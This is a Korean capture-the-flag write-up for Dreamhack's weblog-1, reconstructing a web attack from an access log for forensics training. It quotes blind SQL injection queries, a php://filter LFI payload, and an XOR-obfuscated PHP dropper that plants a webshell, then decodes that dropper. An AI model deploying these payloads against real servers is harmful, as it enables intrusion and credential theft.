[Dreamhack] Level 2: weblog-1

1. 문제 

https://dreamhack.io/wargame/challenges/71

weblog-1

 

 

2. 해결 과정 

(1) 문제 접속

- 먼저 탈취된 admin 계정의 PW를 알아내는 문제였다. 

 

(2) 문제 파일 분석 

 

- 문제 파일을 통해 로그인의 username과 password가 어떤식으로 입력되는지 확인할 수 있었다. 

<form method="POST">
        <div class="form-group">
          <label for="username">username</label>
          <input type="text" class="form-control" name="username" id="username" placeholder="username">
        </div>
        <div class="form-group">
          <label for="passowrd">암호</label>
          <input type="password" class="form-control" name="password" id="password" placeholder="password">
        </div>
        <button type="submit" class="btn btn-default">Login</button>
      </form>

 

- 또한 문제의 답을 찾아낼 수 있는 로그파일을 확인할 수 있다. (access.log)

 

로그 파일 구조 

172.17.0.1 - - [02/Jun/2020:09:08:17 +0000] "GET /board.php HTTP/1.1" 200 782 "http://127.0.0.1:8000/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"

 

IP 주소	172.17.0.1	요청을 보낸 클라이언트의 IP 주소
식별자	-	사용자 식별 정보, 주로 -
사용자 이름	-	인증된 사용자의 이름
요청 시간	[02/Jun/2020:09:08:17 +0000]	요청이 발생한 시간과 타임존
요청 메소드	GET	요청 방식 (GET, POST 등)
요청 URL	/board.php	요청한 리소스 경로
HTTP 버전	HTTP/1.1	사용된 HTTP 프로토콜 버전
상태 코드	200	응답 상태 (200: 성공)
응답 크기	782	전송된 데이터 크기 (바이트)
참조 URL	http://127.0.0.1:8000/	요청을 보낸 페이지의 URL
User-Agent	Mozilla/5.0 (Windows NT 10.0; ...)	브라우저 및 OS 정보

 

 

일단 admin 계정 탈취에 대한 문제이기 때문에 공격자가 admin 키워드를 검색해보았다.
공격자는 /admin, /adminer.php.swp, /CFIDE/administrator/ 등 여러 가지 URL에 요청을 시도했지만 모두 404(Not Found) 응답이 발생했기 때문에 다른 키워드를 고려해야 했다.

 

다음으로는 로그파일에서 /login을 검색해서 Post 요청 중 성공한 요청(200)을 찾아보았다. 여러 시도에서 200 응답을 받았지만 유의미한 분석을 하지 못하였고, 그 다음으로는 SQL INJECTION을 염두해두며 password 키워드를 검색해보았다. 

 

실제로 패스워드를 알아내기 위해 /board.php 경로에서 ord(substr(database(), 1,1)) 쿼리를 통해 Blind SQL Injection 을 사용한 것을 알 수 있다. 뿐만 아니라 패스워드에 대한 공격 이전에 테이블 정보에 대해 알아내기 위해 information_schema.columns 를 사용한 것을 알아낼 수 있었다. (테이블명과 칼럽값을 알기 위함)

• group_concat(username, 0x3a, password): admin:비밀번호 형태로 결과를 추출
• ord(substr(...))=32 : 공백을 기준으로 글자를 하나씩 추출하는 방법

 

중간에 로그 파일을 보기가 너무 어려워서 구글링해봤는데 엑셀로 분석하는 좋은 방법이 있었다! 

엑셀 파일로 불러와 공백이나 " 등으로 적절하게 나누어서 봐주면 된다. 

인젝션 시도를 검토해보면 응답값의 길이가 다른것이 튀는데 나머지는 보통 841이 뜨고, 일부 응답에만 1192 바이트인 응답이 존재한다.

해당 응답값이 true 일 때의 응답결과라고 생각하여 추출해보았다. 

 

추출 코드 

import re

def extract_password_from_logs(log_file_path):
    password_chars = [] #패스워드 문자들을 저장할 리스트
    
    try:
        with open(log_file_path, 'r') as file:
            for line in file:
                
                # board.php와 1192를 포함하는 라인 찾기
                if '1192' in line:                    
                    # 위치 추출 (확인용)
                    position_match = re.search(r'substr\(.+?,\s*(\d+)', line)
                    if position_match:
                        position = int(position_match.group(1))
                        
                        # ord 값 추출 (숫자만)
                        ord_match = re.search(r'ord.+?=(\d+)', line)
                        if ord_match:
                            ord_value = int(ord_match.group(1))
                            #print(f"찾은 ord 값: {ord_value}")
                            
                            char = chr(ord_value)
                            #print(f"변환된 문자: {char}")
                            
                            password_chars.append((position, char))
    
    except FileNotFoundError:
        print("로그 파일을 찾을 수 없습니다!")
        return "로그 파일을 찾을 수 없습니다."
    except Exception as e:
        print(f"에러 발생: {str(e)}")
        return f"에러 발생: {str(e)}"
    
    # 결과 출력
    print(f"수집된 문자들: {password_chars}")
    
    # 위치를 기준으로 정렬하고 문자들을 결합
    if password_chars:
        password_chars.sort(key=lambda x: x[0])
        password = ''.join(char for _, char in password_chars)
        return password
    else:
        return "패스워드 추출 실패"

def main():
    log_file = "access.log"
    print(f"로그 파일 경로: {log_file}")
    extracted_password = extract_password_from_logs(log_file)
    print(f"추출된 패스워드: {extracted_password}")

if __name__ == "__main__":
    main()

 

board:idx,board:title,board:contents,board:writer,users:idx,users:username,users:password,users:leveladmin:Th1s_1s_Adm1n_P@SS,guest:guestsimple_board

 

따라서 패스워드를 알아낼 수 있었다.

 

다음 1단계는 config.php 코드를 추출하는데 사용한 페이로드를 확인하는 것이었다. 

 

문제 파일에서 config 를 검색해보며 의심되는 부분을 찾아냈다. 

 php:filter// 라는 php wrapper를 이용해서 LFI 취약점을 공격한 흔적이 보였다. 

 

 

2단계의 문제 또한 LFI 취약점과 관련된 문제이다.

 

LFI 취약점을 공격하는 부분을 보면 아래 코드를 실행하는 부분 또한 확인할 수 있었다.

URL 인코딩이 되어있어 보기가 어렵기 때문에 디코딩을 진행해준 뒤 줄바꿈을 넣어 보기 편해가 수정해주었다.

GET /admin/?page=memo.php&memo=%3C?php%20function%20m($l,$T=0){$K=date(%27Y-m-d%27);$_=strlen($l);$__=strlen($K);for($i=0;$i%3C$_;$i%2b%2b){for($j=0;$j%3C$__;%20$j%2b%2b){if($T){$l[$i]=$K[$j]^$l[$i];}else{$l[$i]=$l[$i]^$K[$j];}}}return%20$l;}%20m(%27bmha[tqp[gkjpajpw%27)(m(%27%2brev%2bsss%2blpih%2bqthke`w%2bmiecaw*tlt%27),m(%278;tlt$lae`av,%26LPPT%2b5*5$040$Jkp$Bkqj`%26-?w}wpai,%20[CAP_%26g%26Y-?%27));%20?%3E HTTP/1.1

GET /admin/?page=memo.php&memo=<?php 
function m($l, $T = 0) {
    $K = date('Y-m-d');
    $_ = strlen($l);
    $__ = strlen($K);

    for ($i = 0; $i < $_; $i++) {
        for ($j = 0; $j < $__; $j++) {
            if ($T) {
                $l[$i] = $K[$j] ^ $l[$i];
            } else {
                $l[$i] = $l[$i] ^ $K[$j];
            }
        }
    }
    return $l;
}

m('bmha[tqp[gkjpajpw')(
    m('+rev+sss+lpih+qthke`w+miecaw*tlt'),
    m('8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?')
);
?>

 

[코드 분석] 

XOR 기반 난독화: m 함수는 현재 날짜(Y-m-d 형식)를 키로 입력 문자열과 XOR 연산을 수행

• $T가 0일 때는 암호화, 1일 때는 복호화를 의미
  
  • m('bmha[tqp[gkjpajpw') 부분은 XOR로 복호화된 후 실행될 코드 문자열
• date('Y-m-d')가 XOR 키로 사용되므로, 해당 날짜에만 유효한 페이로드이다.

즉, 이 코드는 LFI 취약점을 이용해 서버에 웹쉘을 업로드하는 코드이다. 사실 웹쉘을 업로드하는 것에 대한 것이 이번 문제의 핵심인 줄 알았는데 그 다음 로그를 보면 /var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732 파일에 접근하여 세션 정보를 탈취하려고 하고 있다. 이 문제의 정답은 해당 파일경로였다. 

 

다음 문제에서 웹쉘 경로를 입력해달라고 하여서 작성했던 복호화 코드를 실행하여 암호화되어있는 문자열을 복호화해주었다.

키인 날짜는 공격 당시의 날짜로, 로그파일에서 확인할 수 있다. 

def xor_decrypt(encoded_str, date_str):
    result = list(encoded_str)
    
    # 각 문자에 대해
    for i in range(len(result)):
        # 날짜 문자열의 모든 문자와 XOR
        for j in range(len(date_str)):
            result[i] = chr(ord(result[i]) ^ ord(date_str[j]))
    
    return ''.join(result)

# 공격 날짜
date_str = '2020-06-02'

encrypted_strings = [
    'bmha[tqp[gkjpajpw',
    '+rev+sss+lpih+qthke`w+miecaw*tlt',
    '8;tlt$lae`av,&LPPT+5*5$040$Jkp$Bkqj`&-?w}wpai, [CAP_&g&Y-?'
]

# 복호화 수행
for enc_str in encrypted_strings:
    decrypted = xor_decrypt(enc_str, date_str)
    print(f"암호화: {enc_str}")
    print(f"복호화: {decrypted}\n")

 

[결과]

 

따라서 정답은 /var/www/html/uploads/images.php 이다. 

 

다음 문제는 웹쉘을 통해 실행된 명령어를 입력하는 것이다. 

 

로그 파일을 분석해보면 업로드된 웹쉘(images.php)을 통해 처음 실행된 명령어는 whoami 라는 것을 알 수 있다. 

 

이렇게 최종 플래그를 획득할 수 있었다.